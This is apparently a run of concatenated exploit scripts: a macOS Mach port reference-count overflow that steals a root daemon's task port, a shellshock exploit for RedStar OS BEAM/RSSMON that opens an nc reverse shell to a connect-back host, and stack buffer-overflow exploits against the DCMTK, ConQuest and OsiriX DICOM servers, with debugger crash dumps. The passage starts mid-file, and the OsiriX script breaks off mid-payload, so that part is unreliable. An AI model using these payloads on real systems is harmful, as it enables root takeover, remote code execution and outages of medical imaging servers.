  conn = xpc_connection_create_mach_service("com.apple.bluetoothaudiod", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
  xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {
    xpc_type_t t = xpc_get_type(event);
    if (t == XPC_TYPE_ERROR){
      printf("err: %s\n", xpc_dictionary_get_string(event, XPC_ERROR_KEY_DESCRIPTION));
    }
    printf("received an event\n");
  });
  xpc_connection_resume(conn);

  msg = xpc_dictionary_create(NULL, NULL, 0);

  xpc_dictionary_set_string(msg, "hello", "world");

  xpc_connection_send_message(conn, msg);

	printf("bluetoothaudiod should be calling IOServiceOpen now\n");
}

mach_port_t self;

void leak_one_ref(mach_port_t overflower) {
  kern_return_t err = _kernelrpc_mach_port_insert_right_trap(
    self,
    MACH_PORT_NULL, // an invalid name
    overflower,
    MACH_MSG_TYPE_COPY_SEND);  
}

void leak_one_ref_for_receive(mach_port_t overflower) {
  kern_return_t err = _kernelrpc_mach_port_insert_right_trap(
    self,
    MACH_PORT_NULL, // an invalid name
    overflower,
    MACH_MSG_TYPE_MAKE_SEND); // if you have a receive right
}

char* spinners = "-\\|/";
void leak_n_refs(mach_port_t overflower, uint64_t n_refs) {
	int step = 0;
  for (uint64_t i = 0; i < n_refs; i++) {
    leak_one_ref(overflower);
    if ((i % 0x40000) == 0) {
      float done = (float)i/(float)n_refs;
		 	step = (step+1) % strlen(spinners);
      fprintf(stdout, "\roverflowing [%c] (%3.3f%%)", spinners[step], done * 100);
      fflush(stdout);
    }
  }
	fprintf(stdout, "\roverflowed                           \n");
	fflush(stdout);
}

// quickly take a release a kernel reference
// if the reference has been overflowed to 0 this will free the object
void inc_and_dec_ref(mach_port_t p) {
  // if we pass something which isn't a task port name:
  // port_name_to_task 
  //   ipc_object_copyin
  //     takes a ref
  //   ipc_port_release_send
  //     drops a ref

  _kernelrpc_mach_port_insert_right_trap(p, 0, 0, 0);
}

/* try to get the free'd port replaced with a new port for which we have
 * a receive right
 * Once we've allocated a lot of new ports add them all to a port set so
 * we can just receive on the port set to find the correct one
 */
mach_port_t replace_with_receive() {
  int n_ports = 2000;
  mach_port_t ports[n_ports];
  for (int i = 0; i < n_ports; i++) {
    mach_port_allocate(self, MACH_PORT_RIGHT_RECEIVE, &ports[i]);
  }

  // allocate a port set
  mach_port_t ps;
  mach_port_allocate(self, MACH_PORT_RIGHT_PORT_SET, &ps);
  for (int i = 0; i < n_ports; i++) {
    mach_port_move_member( self, ports[i], ps);
  }
  return ps;
}

/* listen on the port set for io_service_open_extended messages :
 */
struct service_open_mig {
	mach_msg_header_t Head;
	/* start of the kernel processed data */
	mach_msg_body_t msgh_body;
	mach_msg_port_descriptor_t owningTask;
	mach_msg_ool_descriptor_t properties;
	/* end of the kernel processed data */
	NDR_record_t NDR;
	uint32_t connect_type;
	NDR_record_t ndr;
	mach_msg_type_number_t propertiesCnt;
};

void service_requests(mach_port_t ps) {
  size_t size = 0x1000;
  struct service_open_mig* request = malloc(size);
  memset(request, 0, size);

  printf("receiving on port set\n");
  kern_return_t err = mach_msg(&request->Head,
                               MACH_RCV_MSG,
                               0,
                               size,
                               ps,
                               0,
                               0);

  if (err != KERN_SUCCESS) {
    printf("error receiving on port set: %s\n", mach_error_string(err));
    return;
  }

  mach_port_t replaced_with = request->Head.msgh_local_port;

  printf("got a message on the port set from port: local(0x%x) remote(0x%x)\n", request->Head.msgh_local_port, request->Head.msgh_remote_port); 	
	mach_port_t target_task = request->owningTask.name;
	printf("got task port: 0x%x\n", target_task);

	run_command(target_task, "touch /tmp/hello_from_fake_kernel");
  
  printf("did that work?\n");
	printf("leaking some refs so we don't kernel panic");

	for(int i = 0; i < 0x100; i++) {
		leak_one_ref_for_receive(replaced_with);
  }

}

int main() {
	self = mach_task_self(); // avoid making the trap every time

	//mach_port_t test;
  //mach_port_allocate(self, MACH_PORT_RIGHT_RECEIVE, &test);

  // get the service we want to target:
  mach_port_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOBluetoothHCIController"));
  printf("%d : 0x%x\n", getpid(), service);

  // we don't know how many refs the port actually has - lets guess less than 40...
  uint32_t max_refs = 40;
  leak_n_refs(service, 0x100000000-max_refs);

  // the port now has a reference count just below 0 so we'll try in a loop
  // to free it, reallocate and test to see if it worked - if not we'll hope
  // that was because we didn't free it:

  mach_port_t fake_service_port = MACH_PORT_NULL;
  for (uint32_t i = 0; i < max_refs; i++) {
    inc_and_dec_ref(service);

    mach_port_t replacer_ps = replace_with_receive();

    // send a message to the service - if we receive it on the portset then we won:
    mach_msg_header_t msg = {0};
    msg.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
    msg.msgh_remote_port = service;
    msg.msgh_id = 0x41414141;
    msg.msgh_size = sizeof(msg);
    kern_return_t err;
    err = mach_msg(&msg,
                   MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                   (mach_msg_size_t)sizeof(msg),
                   0,
                   MACH_PORT_NULL,
                   MACH_MSG_TIMEOUT_NONE,
                   MACH_PORT_NULL);
    printf("sending probe: %s\n", mach_error_string(err));

    mach_msg_empty_rcv_t reply = {0};
    mach_msg(&reply.header,
             MACH_RCV_MSG | MACH_RCV_TIMEOUT,
             0,
             sizeof(reply),
             replacer_ps,
             1, // 1ms
             0);
             
		if (reply.header.msgh_id == 0x41414141) {
      // worked:
      printf("got the probe message\n");
      fake_service_port = replacer_ps;
      break;
    }
    printf("trying again (%d)\n", i);

    // if it didn't work leak another ref and try again:
    leak_one_ref(service);
  }


  printf("worked? - forcing a root process to restart, hopefully will send us its task port!\n");

	force_bluetoothaudiod_restart();

  service_requests(fake_service_port);

  return 0;
}
            
#!/usr/bin/env python
# RedStar OS 3.0 Server (BEAM & RSSMON) shellshock exploit
# ========================================================
# BEAM & RSSMON are Webmin based configuration utilities
# that ship with RSS server 3.0. These packages are the
# recommended GUI configuration components and listen on
# a user specified port from 10000/tcp to 65535/tcp. They
# are accessible on the local host only in vanilla install
# unless the firewall is disabled. Both services run with
# full root permissions and can be exploited for LPE or
# network attacks. RSSMON has hardened SELinux policies
# applied which hinder exploitation of this vulnerability
# be limiting access to network resources. Commands are
# still run as root in a blind way.
#
# $ python rsshellshock.py beam 192.168.0.31 10000 192.168.0.10 8080
# [+] RedStar OS 3.0 Server (BEAM & RSSMON) shellshock exploit
# [-] exploiting shellshock CVE-2014-6271...
# sh: no job control in this shell
# sh-4.1# id
# uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:beam_t:s0-s15:c0.c1023
# sh-4.1# 
#
# -- Hacker Fantastic (https://myhackerhouse.com)
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import subprocess
import requests
import sys
import os

def spawn_shell(cbport):
    subprocess.call('nc -l ' + cbport, shell=True)

def shellshock(soft,ip,port,cbip,cbport):
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    if soft == "beam":
        user_agent = {'User-agent': '() { :; }; /bin/bash -c "rm /tmp/.f;mkfifo /tmp/.f;cat /tmp/.f|/bin/sh -i 2>&1|nc '+cbip+' '+cbport+' >/tmp/.f"'}
    else:
        shellstring = '() { :; }; /bin/bash -c "%s"' % (cbip)
        user_agent = {'User-agent': shellstring}
    print "[-] exploiting shellshock CVE-2014-6271..."
    myreq = requests.get("https://"+ip+":"+port+"/session_login.cgi", headers = user_agent, verify=False)

if __name__ == "__main__":
    print "[+] RedStar OS 3.0 Server (BEAM & RSSMON) shellshock exploit"
    if len(sys.argv) < 5:
        print "[-] Use with <beam> <host> <port> <connectback ip> <connectback port>"
        print "[-] Or with <rssmon> <host> <port> <cmd>"
        sys.exit()
    if(sys.argv[1]=="beam"):
        newRef=os.fork()
        if newRef==0:
            shellshock(sys.argv[1],sys.argv[2],sys.argv[3],sys.argv[4],sys.argv[5])    
        else:
            spawn_shell(sys.argv[5])
    else:
        shellshock(sys.argv[1],sys.argv[2],sys.argv[3],sys.argv[4],0)
            
#!/usr/bin/env python
# -*- coding: utf8 -*-
#
#
# DCMTK storescp DICOM storage (C-STORE) SCP Remote Stack Buffer Overflow
#
#
# Vendor: OFFIS e. V.
# Product web page: http://www.dcmtk.org
# Affected version: <= 3.6.0
# Not affected: DCMTK-3.6.1_20160216 - https://github.com/commontk/DCMTK/commit/1b6bb76
#
# http://www.idoimaging.com/programs?order=program.rdate&
#
# Summary: DCMTK is a collection of libraries and applications implementing large
# parts the DICOM standard. It includes software for examining, constructing and
# converting DICOM image files, handling offline media, sending and receiving images
# over a network connection, as well as demonstrative image storage and worklist
# servers. DCMTK is is written in a mixture of ANSI C and C++. It comes in complete
# source code and is made available as "open source" software.
#
# Desc: "At several places in the code a wrong length of ACSE data structures received
# over the network can cause overflows or underflows when processing those
# data structures. Related checks have been added at various places in order
# to prevent such (possible) attacks. Thanks to Kevin Basista for the report."
#
# The bug will indeed affect all DCMTK-based server applications that accept incoming
# DICOM network connections that are using the dcmtk-3.6.0 and earlier versions.
# Developers are advised to apply the patched-DCMTK-3.6.1_20160216 fix commit from
# Dec 14, 2015.
#
# ---------------------------------------------------------------------------------
#
# Process 27765 stopped
# * thread #1: tid = 0x3e4b46, 0x00000001000a6f1d storescp`parsePresentationContext(unsigned char, dul_presentationcontext*, unsigned char*, unsigned long*, unsigned long) + 3325, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x10380001b)
#     frame #0: 0x00000001000a6f1d storescp`parsePresentationContext(unsigned char, dul_presentationcontext*, unsigned char*, unsigned long*, unsigned long) + 3325
# storescp`parsePresentationContext:
# ->  0x1000a6f1d <+3325>: movb   (%rax), %al
#     0x1000a6f1f <+3327>: movzbl %al, %eax
#     0x1000a6f22 <+3330>: cmpl   $0x40, %eax
#     0x1000a6f25 <+3333>: movl   %eax, -0xa74(%rbp)
# (lldb) re r
# General Purpose Registers:
#        rax = 0x000000010380001b
#        rbx = 0x0000000000000000
#        rcx = 0x00000001002d40f0  vtable for log4cplus::spi::AppenderAttachable + 16
#        rdx = 0x0000000000000010
#        rdi = 0x00007fff5fbf78a0
#        rsi = 0x3f7bc30000000000
#        rbp = 0x00007fff5fbf7b30
#        rsp = 0x00007fff5fbf7030
#         r8 = 0x0000000100733918
#         r9 = 0x00000000003e4b46
#        r10 = 0x0000000100733920
#        r11 = 0xffffffff00000000
#        r12 = 0x0000000000000000
#        r13 = 0x0000000000000000
#        r14 = 0x0000000000000000
#        r15 = 0x0000000000000000
#        rip = 0x00000001000a6f1d  storescp`parsePresentationContext(unsigned char, dul_presentationcontext*, unsigned char*, unsigned long*, unsigned long) + 3325
#     rflags = 0x0000000000010246
#         cs = 0x000000000000002b
#         fs = 0x0000000000000000
#         gs = 0x0000000000000000
#
# (lldb)
#
# =====
#
# ➜  bin ./storescp -d 4242
# D: $dcmtk: storescp v3.6.0 2011-01-06 $
# D: 
# D: setting network receive timeout to 60 seconds
# D: PDU Type: Associate Request, PDU Length: 32881 + 6 bytes PDU header
# D: Only dumping 512 bytes.
# D:   01  00  00  00  80  71  00  01  00  00  4f  52  54  48  41  4e
# D:   43  20  20  20  20  20  20  20  20  20  54  45  53  54  53  55
# D:   49  54  45  00  00  00  00  00  00  00  00  00  00  00  00  00
# D:   00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
# D:   00  00  00  00  00  00  00  00  00  00  10  00  00  15  31  2e
# D:   32  2e  38  34  30  2e  31  30  30  30  38  2e  33  2e  31  2e
# D:   31  2e  31  20  00  80  00  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D:   42  43  44  41  42  43  44  41  42  43  44  41  42  43  44  41
# D: 
# D: Parsing an A-ASSOCIATE PDU
# [1]    25553 segmentation fault  ./storescp -d 4242
# ➜  bin  
#
# ---------------------------------------------------------------------------------
#
# Tested on: Microsoft Windows 7 Professional SP1 (EN)
#            Microsoft Windows 7 Ultimate SP1 (EN)
#            MacOS X 10.12.2 Sierra
#            Linux Ubuntu 14.04.5
#            FreeBSD 10.3
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2016-5384
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5384.php
#
#
# 22.11.2016
#


import socket, sys

hello = ('\x01\x00\x00\x00\x80\x71\x00\x01\x00\x00\x4f\x52\x54\x48'
         '\x41\x4e\x43\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4a\x4f'
         '\x58\x59\x50\x4f\x58\x59\x21\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x10\x00\x00\x15\x31\x2e\x32\x2e\x38\x34'
         '\x30\x2e\x31\x30\x30\x30\x38\x2e\x33\x2e\x31\x2e\x31\x2e'
         '\x31\x20\x00\x80\x00')

bye = ('\x50\x00\x00\x0c\x51\x00\x00\x04\x00\x00\x07\xde'
       '\x52\x00\x00\x00')

buffer = '\x41\x42\x43\x44' * 10000

if len(sys.argv) < 3:
	print '\nUsage: ' +sys.argv[0]+ ' <target> <port>'
	print 'Example: ' +sys.argv[0]+ ' 172.19.0.214 4242\n'
	sys.exit(0)
 
host = sys.argv[1]
port = int(sys.argv[2])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host, port))
s.settimeout(251)
s.send(hello+buffer+bye)
s.close
            
#!/usr/bin/env python
# -*- coding: utf8 -*-
#
#
# ConQuest DICOM Server 1.4.17d Remote Stack Buffer Overflow RCE
#
#
# Vendor: University of Manchester. Developed by Marcel van Herk, Lambert Zijp and Jan Meinders. The Netherlands Cancer Institute
# Product web page: https://ingenium.home.xs4all.nl/dicom.html | http://dicom.nema.org
# Affected version: 1.4.17d
#                   1.4.19beta3a
#                   1.4.19beta3b
#
# Summary: A full featured DICOM server has been developed based on the public
# domain UCDMC DICOM code. Some possible applications of the Conquest DICOM software
# are: DICOM training and testing; Demonstration image archives; Image format conversion
# from a scanner with DICOM network access; DICOM image slide making; DICOM image selection
# and (limited) editing; Automatic image forwarding and (de)compression.
#
# The vulnerability is caused due to the usage of vulnerable collection of libraries that
# are part of DCMTK Toolkit, specifically the parser for the DICOM Upper Layer Protocol or DUL.
# Stack/Heap Buffer overflow/underflow can be triggered when sending and processing wrong length
# of ACSE data structure received over the network by the DICOM Store-SCP service. An attacker can
# overflow the stack and the heap of the process when sending large array of bytes to the presentation
# context item length segment of the DICOM standard, potentially resulting in remote code execution
# and/or denial of service scenario.
#
# ------------------------------------------------------------------------------
# 0:002> g
# (820.fc4): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# *** WARNING: Unable to verify checksum for C:\Users\lqwrm\Downloads\dicomserver1419beta3b\dgate64.exe
# *** ERROR: Module load completed but symbols could not be loaded for C:\Users\lqwrm\Downloads\dicomserver1419beta3b\dgate64.exe
# dgate64+0xb9a29:
# 00000001`3fe09a29 488b5108        mov     rdx,qword ptr [rcx+8] ds:42424242`4242424a=????????????????
# 0:002> r
# rax=0000000044444444 rbx=000000000298c910 rcx=4242424242424242
# rdx=000001400046001a rsi=0000000000001105 rdi=000000000041dc50
# rip=000000013fe09a29 rsp=000000000298b840 rbp=000000000298e8e4
#  r8=000000000041dc40  r9=0000000000000402 r10=0000000000000281
# r11=0000013f004a0019 r12=0000000000003eb7 r13=0000000000000000
# r14=0000000000000000 r15=000000000298c910
# iopl=0         nv up ei pl nz na po nc
# cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
# dgate64+0xb9a29:
# 00000001`3fe09a29 488b5108        mov     rdx,qword ptr [rcx+8] ds:42424242`4242424a=????????????????
# 0:002> u
# dgate64+0xb9a29:
# 00000001`3fe09a29 488b5108        mov     rdx,qword ptr [rcx+8]
# 00000001`3fe09a2d 488b4110        mov     rax,qword ptr [rcx+10h]
# 00000001`3fe09a31 4885d2          test    rdx,rdx
# 00000001`3fe09a34 7406            je      dgate64+0xb9a3c (00000001`3fe09a3c)
# 00000001`3fe09a36 48894210        mov     qword ptr [rdx+10h],rax
# 00000001`3fe09a3a eb04            jmp     dgate64+0xb9a40 (00000001`3fe09a40)
# 00000001`3fe09a3c 48894328        mov     qword ptr [rbx+28h],rax
# 00000001`3fe09a40 488b5110        mov     rdx,qword ptr [rcx+10h]
# 0:002> 
# dgate64+0xb9a44:
# 00000001`3fe09a44 488b4108        mov     rax,qword ptr [rcx+8]
# 00000001`3fe09a48 4885d2          test    rdx,rdx
# 00000001`3fe09a4b 7406            je      dgate64+0xb9a53 (00000001`3fe09a53)
# 00000001`3fe09a4d 48894208        mov     qword ptr [rdx+8],rax
# 00000001`3fe09a51 eb04            jmp     dgate64+0xb9a57 (00000001`3fe09a57)
# 00000001`3fe09a53 48894330        mov     qword ptr [rbx+30h],rax
# 00000001`3fe09a57 ba18000000      mov     edx,18h
# 00000001`3fe09a5c e804caf4ff      call    dgate64+0x6465 (00000001`3fd56465)
# 0:002> kb e
#  # RetAddr           : Args to Child                                                           : Call Site
# 00 00000001`3fe104d2 : 00000000`00457a28 00000000`00008014 00000000`0298b8d9 00000000`00000000 : dgate64+0xb9a29
# 01 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : dgate64+0xc04d2
# 02 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 03 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 04 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 05 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 06 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 07 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 08 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 09 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 0a 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 0b 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 0c 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 0d 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
# 0:002> !exchain
# 100 stack frames, scanning for handlers...
# Frame 0x01: dgate64+0xc04d2 (00000001`3fe104d2)
#   ehandler dgate64+0x552e (00000001`3fd5552e)
# Frame 0x02: error getting module for 4141414141414141
# Frame 0x03: error getting module for 4141414141414141
# Frame 0x04: error getting module for 4141414141414141
# Frame 0x05: error getting module for 4141414141414141
# Frame 0x06: error getting module for 4141414141414141
# Frame 0x07: error getting module for 4141414141414141
# Frame 0x08: error getting module for 4141414141414141
# Frame 0x09: error getting module for 4141414141414141
# Frame 0x0a: error getting module for 4141414141414141
# Frame 0x0b: error getting module for 4141414141414141
# Frame 0x0c: error getting module for 4141414141414141
# Frame 0x0d: error getting module for 4141414141414141
# Frame 0x0e: error getting module for 4141414141414141
# Frame 0x0f: error getting module for 4141414141414141
# Frame 0x10: error getting module for 4141414141414141
# Frame 0x11: error getting module for 4141414141414141
# Frame 0x12: error getting module for 4141414141414141
# Frame 0x13: error getting module for 4141414141414141
# Frame 0x14: error getting module for 4141414141414141
# Frame 0x15: error getting module for 4141414141414141
# Frame 0x16: error getting module for 4141414141414141
# ...
# ...
# Frame 0x61: error getting module for 4141414141414141
# Frame 0x62: error getting module for 4141414141414141
# Frame 0x63: error getting module for 4141414141414141
# 0:002> g
#
# STATUS_STACK_BUFFER_OVERRUN encountered
# (820.fc4): Break instruction exception - code 80000003 (first chance)
# kernel32!UnhandledExceptionFilter+0x71:
# 00000000`7796bb21 cc              int     3
# 0:002> g
# ntdll!ZwWaitForSingleObject+0xa:
# 00000000`77a3bb7a c3              ret
#
# ------------------------------------------------------------------------------
#
# Tested on: Microsoft Windows 7 Professional SP1 (EN)
#            Microsoft Windows 7 Ultimate SP1 (EN)
#            Linux Ubuntu 14.04.5
#            Solaris 10
#            macOS/10.12.2
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2016-5383
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5383.php
#
# 
# 22.11.2016
#


import socket, sys

hello = ('\x01\x00\x00\x00\x80\x71\x00\x01\x00\x00\x4f\x52\x54\x48'
         '\x41\x4e\x43\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4a\x4f'
         '\x58\x59\x50\x4f\x58\x59\x21\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x10\x00\x00\x15\x31\x2e\x32\x2e\x38\x34'
         '\x30\x2e\x31\x30\x30\x30\x38\x2e\x33\x2e\x31\x2e\x31\x2e'
         '\x31\x20\x00\x80\x00')

# 33406 bytes
buffer  = '\x41' * 20957 # STACK OVERFLOW / SEH OVERWRITE
buffer += '\x42' * 8 # RCX = 4242424242424242
buffer += '\x43' * 8 # defiler ;]
buffer += '\x44\x44\x44\x44' # EAX = 44444444 / RAX = 0000000044444444
buffer += '\x45' * 12429

bye = ('\x50\x00\x00\x0c\x51\x00\x00\x04\x00\x00\x07\xde'
       '\x52\x00\x00\x00')

print 'Sending '+str(len(buffer))+' bytes of data!'

if len(sys.argv) < 3:
	print '\nUsage: ' +sys.argv[0]+ ' <target> <port>'
	print 'Example: ' +sys.argv[0]+ ' 172.19.0.214 5678\n'
	sys.exit(0)
 
host = sys.argv[1]
port = int(sys.argv[2])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host, port))
s.settimeout(17)
s.send(hello+buffer+bye)
s.close
            
#!/usr/bin/env python
# -*- coding: utf8 -*-
#
#
# OsiriX DICOM Viewer 8.0.1 (dulparse.cc) Remote Memory Corruption Vulnerability
#
#
# Vendor: Pixmeo Sarl
# Product web page: http://www.osirix-viewer.com
# Affected version: OsiriX 8.0.1
#
# Summary: With high performance and an intuitive interactive user interface, OsiriX MD is
# the most widely used DICOM viewer in the world. It is the result of more than 10 years of
# research and development in digital imaging. It fully supports the DICOM standard for an
# easy integration in your workflow environment and an open platform for development of
# processing tools. It offers advanced post-processing techniques in 2D and 3D, exclusive
# innovative technique for 3D and 4D navigation and a complete integration with any PACS.
# OsiriX MD supports 64-bit computing and multithreading for the best performances on the
# most modern processors. OsiriX MD is certified for medical use, FDA cleared and CE II labeled.
#
# Summary2: OsiriX is an image processing application for Mac dedicated to DICOM images
# (".dcm" / ".DCM" extension) produced by equipment (MRI, CT, PET, PET-CT, ...).
# Osirix is complementary to existing viewers, in particular to nuclear medicine viewers.
#
# Desc: The vulnerability is caused due to the usage of vulnerable collection of libraries that
# are part of DCMTK Toolkit, specifically the parser for the DICOM Upper Layer Protocol or DUL.
# Stack/Heap Buffer overflow/underflow can be triggered when sending and processing wrong length
# of ACSE data structure received over the network by the DICOM Store-SCP service. An attacker can
# overflow the stack and the heap of the process when sending large array of bytes to the presentation
# context item length segment of the DICOM standard, potentially resulting in remote code execution
# and/or denial of service scenario.
#
# -------------------------------------------------------------------------------------
#
# (lldb)  
# Process 65202 stopped
# * thread #20: tid = 0x2c5fcc, 0x0000000108978441 OsiriX Lite`parseAssociate(unsigned char*, unsigned int, dul_associatepdu*) + 833, name = 'DICOM Store-SCP', stop reason = EXC_BAD_ACCESS (code=1, address=0x7fb5af00fda1)
#     frame #0: 0x0000000108978441 OsiriX Lite`parseAssociate(unsigned char*, unsigned int, dul_associatepdu*) + 833
# OsiriX Lite`parseAssociate:
# ->  0x108978441 <+833>: movzbl (%r10), %eax
#     0x108978445 <+837>: cmpl   $0x40, %eax
#     0x108978448 <+840>: movq   -0x200(%rbp), %rcx
#     0x10897844f <+847>: je     0x108978513               ; <+1043>
# (lldb) bt
# * thread #19: tid = 0x2f6189, 0x0000000102fe8441 OsiriX Lite`parseAssociate(unsigned char*, unsigned int, dul_associatepdu*) + 833, name = 'DICOM Store-SCP', stop reason = EXC_BAD_ACCESS (code=1, address=0x7fab8ac000a1)
#   * frame #0: 0x0000000102fe8441 OsiriX Lite`parseAssociate(unsigned char*, unsigned int, dul_associatepdu*) + 833
#     frame #1: 0x0000000102fe4363 OsiriX Lite`AE_6_ExamineAssociateRequest(PRIVATE_NETWORKKEY**, PRIVATE_ASSOCIATIONKEY**, int, void*) + 339
#     frame #2: 0x0000000102fe14ca OsiriX Lite`PRV_StateMachine(PRIVATE_NETWORKKEY**, PRIVATE_ASSOCIATIONKEY**, int, int, void*) + 314
#     frame #3: 0x0000000102fdae9c OsiriX Lite`DUL_ReceiveAssociationRQ(void**, DUL_BLOCKOPTIONS, int, DUL_ASSOCIATESERVICEPARAMETERS*, void**, int) + 4348
#     frame #4: 0x0000000102facf1e OsiriX Lite`ASC_receiveAssociation(T_ASC_Network*, T_ASC_Association**, long, void**, unsigned int*, bool, DUL_BLOCKOPTIONS, int) + 462
#     frame #5: 0x0000000102c5f28f OsiriX Lite`DcmQueryRetrieveSCP::waitForAssociation(T_ASC_Network*) + 207
#     frame #6: 0x0000000102c3f9c7 OsiriX Lite`-[DCMTKQueryRetrieveSCP run] + 4999
#     frame #7: 0x0000000102987a37 OsiriX Lite`-[AppController startSTORESCP:] + 519
#     frame #8: 0x00007fff975b030d Foundation`__NSThread__start__ + 1243
#     frame #9: 0x00007fffab021aab libsystem_pthread.dylib`_pthread_body + 180
#     frame #10: 0x00007fffab0219f7 libsystem_pthread.dylib`_pthread_start + 286
#     frame #11: 0x00007fffab021221 libsystem_pthread.dylib`thread_start + 13
# (lldb) register read
# General Purpose Registers:
#        rax = 0x0000000000000103
#        rbx = 0x00000001044c18d8  OsiriX Lite`ECC_Normal
#        rcx = 0x00006100002e6200
#        rdx = 0x000000000001ad41
#        rdi = 0x00000001044c18d8  OsiriX Lite`ECC_Normal
#        rsi = 0x00006100002e6200
#        rbp = 0x0000700005a4a670
#        rsp = 0x0000700005a4a420
#         r8 = 0x0000000000000103
#         r9 = 0x00000000fb40cfc6
#        r10 = 0x00007fab8ac000a1
#        r11 = 0x0000000000000041
#        r12 = 0x0000700005a4a6b8
#        r13 = 0x00000001044c18f0  OsiriX Lite`EC_Normal
#        r14 = 0x00000001044c18d8  OsiriX Lite`ECC_Normal
#        r15 = 0x0000000000008014
#        rip = 0x0000000102fe8441  OsiriX Lite`parseAssociate(unsigned char*, unsigned int, dul_associatepdu*) + 833
#     rflags = 0x0000000000010286
#         cs = 0x000000000000002b
#         fs = 0x0000000000000000
#         gs = 0x0000000000000000
#
# -------------------------------------------------------------------------------------
#
# Tested on: OS X 10.12.2 (Sierra)
#            OS X 10.12.1 (Sierra)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2016-5382
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5382.php
#
# https://tools.ietf.org/html/rfc3240
# https://github.com/commontk/DCMTK/commit/1b6bb76
#
# 29.11.2016
#


import sys, socket

hello = ('\x01\x00\x00\x00\x80\x71\x00\x01\x00\x00\x4f\x52\x54\x48'
         '\x41\x4e\x43\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4a\x4f'
